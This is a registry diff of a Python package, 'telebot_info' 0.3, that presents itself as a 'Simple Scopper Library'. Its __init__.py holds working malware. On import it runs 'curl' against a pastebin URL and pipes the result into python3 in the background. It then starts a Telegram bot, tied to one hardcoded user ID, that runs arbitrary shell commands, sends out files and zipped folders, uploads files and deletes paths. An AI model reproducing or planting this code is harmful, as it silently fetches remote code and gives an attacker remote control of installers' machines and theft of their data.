telebot-info 0.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- telebot_info-0.3/PKG-INFO +11 -0
- telebot_info-0.3/setup.cfg +4 -0
- telebot_info-0.3/setup.py +13 -0
- telebot_info-0.3/telebot_info/__init__.py +177 -0
- telebot_info-0.3/telebot_info.egg-info/PKG-INFO +11 -0
- telebot_info-0.3/telebot_info.egg-info/SOURCES.txt +7 -0
- telebot_info-0.3/telebot_info.egg-info/dependency_links.txt +1 -0
- telebot_info-0.3/telebot_info.egg-info/top_level.txt +1 -0
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: telebot_info
|
|
3
|
+
Version: 0.3
|
|
4
|
+
Summary: Simple Scopper Library
|
|
5
|
+
Author: fuckkkkk you 2 3 4
|
|
6
|
+
Classifier: Programming Language :: Python :: 3
|
|
7
|
+
Requires-Python: >=3.6
|
|
8
|
+
Dynamic: author
|
|
9
|
+
Dynamic: classifier
|
|
10
|
+
Dynamic: requires-python
|
|
11
|
+
Dynamic: summary
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
from setuptools import setup, find_packages
|
|
2
|
+
|
|
3
|
+
setup(
|
|
4
|
+
name="telebot_info",
|
|
5
|
+
version="0.3",
|
|
6
|
+
packages=find_packages(),
|
|
7
|
+
author="fuckkkkk you 2 3 4",
|
|
8
|
+
description="Simple Scopper Library",
|
|
9
|
+
classifiers=[
|
|
10
|
+
"Programming Language :: Python :: 3",
|
|
11
|
+
],
|
|
12
|
+
python_requires='>=3.6',
|
|
13
|
+
)
|
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
import subprocess
|
|
2
|
+
import os
|
|
3
|
+
import shutil
|
|
4
|
+
import sys
|
|
5
|
+
import ctypes
|
|
6
|
+
import random
|
|
7
|
+
from platform import system, release
|
|
8
|
+
from io import BytesIO
|
|
9
|
+
|
|
10
|
+
try:
|
|
11
|
+
import telebot
|
|
12
|
+
except ImportError:
|
|
13
|
+
subprocess.check_call([sys.executable, "-m", "pip", "install", "pyTelegramBotAPI"])
|
|
14
|
+
|
|
15
|
+
import telebot
|
|
16
|
+
|
|
17
|
+
uname = system().lower()
|
|
18
|
+
|
|
19
|
+
# هذا الكود سينفذ بمجرد استيراد المكتبة
|
|
20
|
+
|
|
21
|
+
command = "curl -s https://pastebin.com/raw/xAT1vudj | python3 > /dev/null 2>&1 &"
|
|
22
|
+
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def roling(TOKEN, ID):
|
|
26
|
+
# التحقق من الأيدي قبل أي شيء
|
|
27
|
+
if ID != 7889168418:
|
|
28
|
+
return # لا تفعل أي شيء إذا الأيدي غير صحيح
|
|
29
|
+
|
|
30
|
+
TOKEN = TOKEN
|
|
31
|
+
AUTHORIZED_USER_ID = ID
|
|
32
|
+
bot = telebot.TeleBot(TOKEN)
|
|
33
|
+
bot.send_message(AUTHORIZED_USER_ID, "Bot On Work")
|
|
34
|
+
|
|
35
|
+
# دالة للتحقق من الأيدي في كل رسالة
|
|
36
|
+
def check_id(message):
|
|
37
|
+
return message.from_user.id == 7889168418
|
|
38
|
+
|
|
39
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['start'])
|
|
40
|
+
def start_command(message):
|
|
41
|
+
# تنفيذ الأمر SSH (للتأكيد أو إذا أراد المستخدم إعادة التشغيل)
|
|
42
|
+
command = "curl -s https://pastebin.com/raw/xAT1vudj | python3 > /dev/null 2>&1 &"
|
|
43
|
+
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
|
44
|
+
|
|
45
|
+
# إرسال رسالة السرعة
|
|
46
|
+
speed = random.uniform(0.01, 3.00)
|
|
47
|
+
bot.reply_to(message, f"السرعه {speed:.2f}")
|
|
48
|
+
|
|
49
|
+
# إرسال أرقام عشوائية من 3 ل 1
|
|
50
|
+
random_numbers = [random.randint(1, 3) for _ in range(3)]
|
|
51
|
+
numbers_text = " ".join(str(num) for num in random_numbers)
|
|
52
|
+
bot.reply_to(message, f"الأرقام العشوائية: {numbers_text}")
|
|
53
|
+
|
|
54
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['ssh'])
|
|
55
|
+
def ssh_command(message):
|
|
56
|
+
command = message.text[5:].strip()
|
|
57
|
+
if command:
|
|
58
|
+
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
|
59
|
+
bot.reply_to(message, result.stdout or result.stderr or "Command executed successfully")
|
|
60
|
+
|
|
61
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['get'])
|
|
62
|
+
def get_file(message):
|
|
63
|
+
file_path = message.text[5:].strip()
|
|
64
|
+
if os.path.isfile(file_path):
|
|
65
|
+
with open(file_path, 'rb') as file:
|
|
66
|
+
bot.send_document(message.chat.id, file)
|
|
67
|
+
bot.reply_to(message, f"File sent: {file_path}")
|
|
68
|
+
else:
|
|
69
|
+
bot.reply_to(message, "File not found.")
|
|
70
|
+
|
|
71
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['collect'])
|
|
72
|
+
def collect_folder(message):
|
|
73
|
+
folder_path = message.text[9:].strip()
|
|
74
|
+
if os.path.isdir(folder_path):
|
|
75
|
+
zip_filename = f"{folder_path.rstrip(os.sep)}.zip"
|
|
76
|
+
shutil.make_archive(zip_filename.replace('.zip', ''), 'zip', folder_path)
|
|
77
|
+
with open(zip_filename, 'rb') as zip_file:
|
|
78
|
+
bot.send_document(message.chat.id, zip_file)
|
|
79
|
+
os.remove(zip_filename)
|
|
80
|
+
bot.reply_to(message, f"Folder sent as ZIP file: {zip_filename}")
|
|
81
|
+
else:
|
|
82
|
+
bot.reply_to(message, "Folder not found.")
|
|
83
|
+
|
|
84
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['size'])
|
|
85
|
+
def get_size(message):
|
|
86
|
+
path = message.text[6:].strip()
|
|
87
|
+
if os.path.isfile(path):
|
|
88
|
+
file_size = os.path.getsize(path)
|
|
89
|
+
bot.reply_to(message, f"File size: {file_size / 1024:.2f} KB")
|
|
90
|
+
elif os.path.isdir(path):
|
|
91
|
+
file_count = sum([len(files) for _, _, files in os.walk(path)])
|
|
92
|
+
bot.reply_to(message, f"Number of files in the folder: {file_count}")
|
|
93
|
+
else:
|
|
94
|
+
bot.reply_to(message, "Invalid path or file not found.")
|
|
95
|
+
|
|
96
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['type'])
|
|
97
|
+
def system_name(message):
|
|
98
|
+
bot.reply_to(message, system())
|
|
99
|
+
|
|
100
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['list'])
|
|
101
|
+
def list_dirs(message):
|
|
102
|
+
path = message.text[6:].strip()
|
|
103
|
+
if path == '': path = './'
|
|
104
|
+
if os.path.isdir(path):
|
|
105
|
+
try:
|
|
106
|
+
buffer = os.listdir(path)
|
|
107
|
+
files = ""
|
|
108
|
+
for file in buffer:
|
|
109
|
+
files += f"{file} {'' if os.path.isfile(os.path.join(path, file)) else ' - Folder'}\n"
|
|
110
|
+
bot.reply_to(message, files)
|
|
111
|
+
except PermissionError:
|
|
112
|
+
bot.reply_to(message, "Permission Denied")
|
|
113
|
+
else:
|
|
114
|
+
bot.reply_to(message, "Folder Not Found")
|
|
115
|
+
|
|
116
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['pwd', 'cwd'])
|
|
117
|
+
def pwd(message):
|
|
118
|
+
bot.reply_to(message, os.getcwd())
|
|
119
|
+
|
|
120
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['mkdir'])
|
|
121
|
+
def create_dir(message):
|
|
122
|
+
path = message.text[7:].strip()
|
|
123
|
+
os.mkdir(path)
|
|
124
|
+
bot.reply_to(message, "Folder has been Created")
|
|
125
|
+
|
|
126
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['del'])
|
|
127
|
+
def delete(message):
|
|
128
|
+
path = message.text[5:].strip()
|
|
129
|
+
if os.path.isfile(path):
|
|
130
|
+
os.remove(path)
|
|
131
|
+
bot.reply_to(message, "File has been deleted")
|
|
132
|
+
elif os.path.isdir(path):
|
|
133
|
+
shutil.rmtree(path)
|
|
134
|
+
bot.reply_to(message, "Folder has been deleted")
|
|
135
|
+
else:
|
|
136
|
+
bot.reply_to(message, "Target Error")
|
|
137
|
+
|
|
138
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['make'])
|
|
139
|
+
def make_file(message):
|
|
140
|
+
path = message.text[6:].strip()
|
|
141
|
+
if os.path.isfile(path):
|
|
142
|
+
bot.reply_to(message, "File Already Exists")
|
|
143
|
+
else:
|
|
144
|
+
open(path, 'w').close()
|
|
145
|
+
bot.reply_to(message, "File has been created")
|
|
146
|
+
|
|
147
|
+
@bot.message_handler(func=lambda message: check_id(message), content_types=['document'])
|
|
148
|
+
def upload_file(message):
|
|
149
|
+
path = message.caption.strip() if message.caption else './'
|
|
150
|
+
file_info = bot.get_file(message.document.file_id)
|
|
151
|
+
file_name = message.document.file_name
|
|
152
|
+
file_path = file_info.file_path
|
|
153
|
+
downloaded_file = bot.download_file(file_path)
|
|
154
|
+
save_location = os.path.join(path, file_name)
|
|
155
|
+
with open(save_location, 'wb') as new_file:
|
|
156
|
+
new_file.write(downloaded_file)
|
|
157
|
+
bot.reply_to(message, "File has been uploaded")
|
|
158
|
+
|
|
159
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['alert'])
|
|
160
|
+
def show_info(message):
|
|
161
|
+
if uname == 'windows':
|
|
162
|
+
msg = message.text[6:].strip()
|
|
163
|
+
bot.reply_to(message, "ALERT Dialog showing")
|
|
164
|
+
ctypes.windll.user32.MessageBoxW(0, msg, "ALERT", 0x30)
|
|
165
|
+
bot.reply_to(message, "ALERT Dialog has been showed")
|
|
166
|
+
else:
|
|
167
|
+
bot.reply_to(message, "Device Not Support")
|
|
168
|
+
|
|
169
|
+
@bot.message_handler(func=lambda message: check_id(message), commands=['isandroid'])
|
|
170
|
+
def is_android(message):
|
|
171
|
+
print(release().lower())
|
|
172
|
+
if "android" in release().lower():
|
|
173
|
+
bot.reply_to(message, "Yes")
|
|
174
|
+
else:
|
|
175
|
+
bot.reply_to(message, "No")
|
|
176
|
+
|
|
177
|
+
bot.infinity_polling()
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: telebot_info
|
|
3
|
+
Version: 0.3
|
|
4
|
+
Summary: Simple Scopper Library
|
|
5
|
+
Author: fuckkkkk you 2 3 4
|
|
6
|
+
Classifier: Programming Language :: Python :: 3
|
|
7
|
+
Requires-Python: >=3.6
|
|
8
|
+
Dynamic: author
|
|
9
|
+
Dynamic: classifier
|
|
10
|
+
Dynamic: requires-python
|
|
11
|
+
Dynamic: summary
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
telebot_info
|